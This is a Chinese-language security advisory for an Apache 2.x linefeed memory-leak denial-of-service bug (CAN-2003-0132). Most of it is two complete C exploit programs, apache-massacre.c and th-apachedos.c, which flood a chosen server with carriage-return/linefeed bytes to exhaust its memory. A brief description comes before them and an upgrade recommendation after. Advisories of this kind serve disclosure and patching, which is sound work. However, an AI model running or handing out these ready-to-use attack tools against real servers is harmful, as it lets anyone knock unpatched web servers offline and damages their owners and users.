Apache Web Server Linefeed内存分配拒绝服务漏洞发布时间:2003-05-25 更新时间:2003-05-25 严重程度:高 威胁程度:远程拒绝服务 错误类型:意外情况处置错误 利用方式:服务器模式 BUGTRAQ ID:7254 CVE(CAN) ID:CAN-2003-0132 受影响系统 Apache Software Foundation Apache 2.0 a9详细描述 Apache Web Server实现上存在拒绝服务攻击漏洞,Apache处理超多连续的回车换行的字符的方式有问题,会导致服务器程序分配大量的内存,从而造成拒绝服务攻击。 测试代码 /* apache-massacre.c * Test code for Apache 2.x Memory Leak * By Matthew Murphy * * DISCLAIMER: This exploit tool is provided only to test networks for a * known vulnerability. Do not use this tool on systems you do not control, * and do not use this tool on networks you do not own without appropriate * consent from the network owner. You are responsible for any damage your * use of the tool causes. In no event may the author of this tool be held * responsible for damages relating to its use. * * Apache 2.x (2.0.44 and prior) has a memory leak in its request handling * that causes it to handle newlines in an akward manner -- it allocates * 80 bytes for each. This quickly turns into a nightmare for server stats. * On Windows XP, I was able to cause Apache to consume 390 MB in a matter * of a few minutes. * * The idea is to fire off millions of newlines, depriving Apache of valuable * memory, causing a huge performance degredation. The worst part about this * flaw is that leaked memory isn't recovered until the Apache child process * terminates. * * The high consumption drops some when the session ends, but there is still * a substantial increase in memory use that doesn't end until Apache exits. * I got memory use up to a peak of about 69,000 KB, and it dropped down to * about 37,000 KB. The attacking code was the only traffic on the server -- * the idle memory use of the server is about 7,132 KB. Although the leak is * cut in half when the connection terminates, the leak is still a mighty * 29,878 KB (21.3 MB). All this occurred in a matter of 15 seconds on my * 2.51 GHz P4. * * As with most Apache exposures, the impacts vary between ports of the server: * * Non-Unix (Win32, Netware, OS/2): These ports are most adversely affected * by this, as Apache's child process doesn't terminate normally unless the * parent process stops. This means that leaks (and any performance loss) hang * around until Apache is restarted. * * Unix/mpm_prefork: This MPM offers the most protection against successful * exploitation, as its processes exit at the end of the request. * * Unix/other MPMs: These other MPMs utilize multiple Apache processes for * multiple Apache requests. Depending on the MPM in use and the traffic rates * of the server, this may be used to the advantage of a potential attacker. * If multiple different Apache processes are utilized, an attacker can spread * the substantial leak between processes to dodge resource limits imposed on * httpd's UID (usually nobody, www, or apache) * * Credit: iDEFENSE reported this issue to several security lists on April 8, * 2003 following the Apache release announcement. Apache fixed the flaw about * a month after the initial disclosure of this vulnerability. iDEFENSE credits * the discovery of this vulnerability to an anonymous researcher. * * Happy Hunting! */ #ifndef _WIN32 #include <netdb.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/time.h> #include <netinet/in.h> #include <fcntl.h> #else #include <windows.h> #pragma comment(lib, "wsock32.lib") #endif #include <stdlib.h> #include <stdio.h> int sig_fired = 0; #ifndef _WIN32 void sig_handler(int sig) { #else BOOL WINAPI sig_handler(DWORD dwCtrlType) { #endif sig_fired = 1; #ifndef _WIN32 return; #else return TRUE; #endif } int main(int argc, char *argv[]) { SOCKET s; struct sockaddr_in sin; char buffer[1025]; struct hostent *he; unsigned short iPort = 80; int newlines = 100; char *p; char *p2; int i; #ifdef _WIN32 WSADATA wsa_prov; #endif printf("Apache Massacre v1.0\r\n"); printf("Exploit by Matthew Murphy\r\n"); printf("Vulnerability reported by iDEFENSE Labs\r\n\r\n"); #ifdef _WIN32 if (WSAStartup(0x0101, &wsa_prov)) { perror("WSAStartup"); exit(1); } #endif printf("Please enter the web server's host/IP: "); fgets(&buffer[0], 1024, stdin); he = gethostbyname(&buffer[0]); if (!he) { perror("gethostbyname"); exit(1); } sin.sin_addr.s_addr = *((unsigned long *)he->h_addr); printf("Please enter the web server's port: "); fgets(&buffer[0], 1024, stdin); iPort = (unsigned short)atoi(&buffer[0]); #ifndef _WIN32 #ifdef _SOLARIS sigset(SIGINT, &sig_handler); #else signal(SIGINT, &sig_handler); #endif #else SetConsoleCtrlHandler(&sig_handler, TRUE); #endif printf("How many newlines should be in each request [100]: "); fgets(&buffer[0], 1024, stdin); if (!buffer[0] == 0x0D && !buffer[0] == 0x0A) { newlines = atoi(&buffer[0]); } p = malloc(newlines*2); p2 = p; for (i = 0; i < newlines; i++) { *p2 = 0x0D; p2++; *p2 = 0x0A; p2++; } newlines += newlines; s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (s < 0) { perror("socket"); exit(1); } sin.sin_family = AF_INET; sin.sin_port = htons(iPort); if (connect(s, (const struct sockaddr *)&sin, sizeof(struct sockaddr_in))) { perror("connect"); exit(1); } while (1) { if (!send(s, (char *)p, newlines, 0) == newlines) { perror("send"); exit(1); } if (sig_fired) { printf("Terminating on SIGINT"); free(p); #ifndef _WIN32 close(s); #else closesocket(s); WSACleanup(); #endif exit(0); } } } /* Version 2 */ /******** th-apachedos.c ******************************************************** * * * Remote Apache DoS exploit * * ------------------------- * * Written as a poc for the: * * * * iDEFENSE Security Advisory 04.08.03: * * http://www.idefense.com/advisory/04.08.03.txt * * Denial of Service in Apache HTTP Server 2.x * * April 8, 2003 * * * * This program sends 8000000 \n's to exploit the Apache memory leak. * * Works from scratch under Linux, as opposed to apache-massacre.c . * * * * * * Daniel Nystr鰉 <exce@netwinder.nu> * * * * - www.telhack.tk - * * * ******************************************************** th-apachedos.c ********/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #include <sys/socket.h> int main(int argc, char *argv[]) { int sockfd; int count; char buffer[8000000]; struct sockaddr_in target; struct hostent *he; if (argc != 3) { fprintf(stderr, "\nTH-apachedos.c - Apache <= 2.0.44 DoS exploit."); fprintf(stderr, "\n----------------------------------------------"); fprintf(stderr, "\nUsage: %s <Target> <Port>\n\n", argv[0]); exit(-1); } printf("\nTH-Apache DoS\n"); printf("-------------\n"); printf("-> Starting...\n"); printf("->\n"); // memset(buffer, '\n', sizeof(buffer)); /* testing */ for (count = 0; count < 8000000;) { buffer[count] = '\r'; /* 0x0D */ count++; buffer[count] = '\n'; /* 0x0A */ count++; } if ((he=gethostbyname(argv[1])) == NULL) { herror("gethostbyname() failed "); exit(-1); } memset(&target, 0, sizeof(target)); target.sin_family = AF_INET; target.sin_port = htons(atoi(argv[2])); target.sin_addr = *((struct in_addr *)he->h_addr); printf("-> Connecting to %s:%d...\n", inet_ntoa(target.sin_addr), atoi(argv[2])); printf("->\n"); if ((sockfd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { perror("socket() failed "); exit(-1); } if (connect(sockfd, (struct sockaddr *)&target, sizeof(struct sockaddr)) < 0) { perror("connect() failed "); exit(-1); } printf("-> Connected to %s:%d... Sending linefeeds...\n", inet_ntoa(target.sin_addr), atoi(argv[2])); printf("->\n"); if (send(sockfd, buffer, strlen(buffer), 0) != strlen(buffer)) { perror("send() failed "); exit(-1); close(sockfd); } close(sockfd); printf("-> Finished smoothly, check hosts apache...\n\n"); } /* EOF - th-apachedos.c * http://www.telhack.tk */ 解决方案 厂商已经在最新版本的软件中修补了此漏洞: Apache Software Foundation Apache 2.0.35: Apache Software Foundation Upgrade Apache httpd 2.0.45 http://www.apache.org/dist/httpd/ 相关信息 Apache httpd Release 2.0 Changes http://www.apache.org/dist/httpd/CHANGES_2.0 |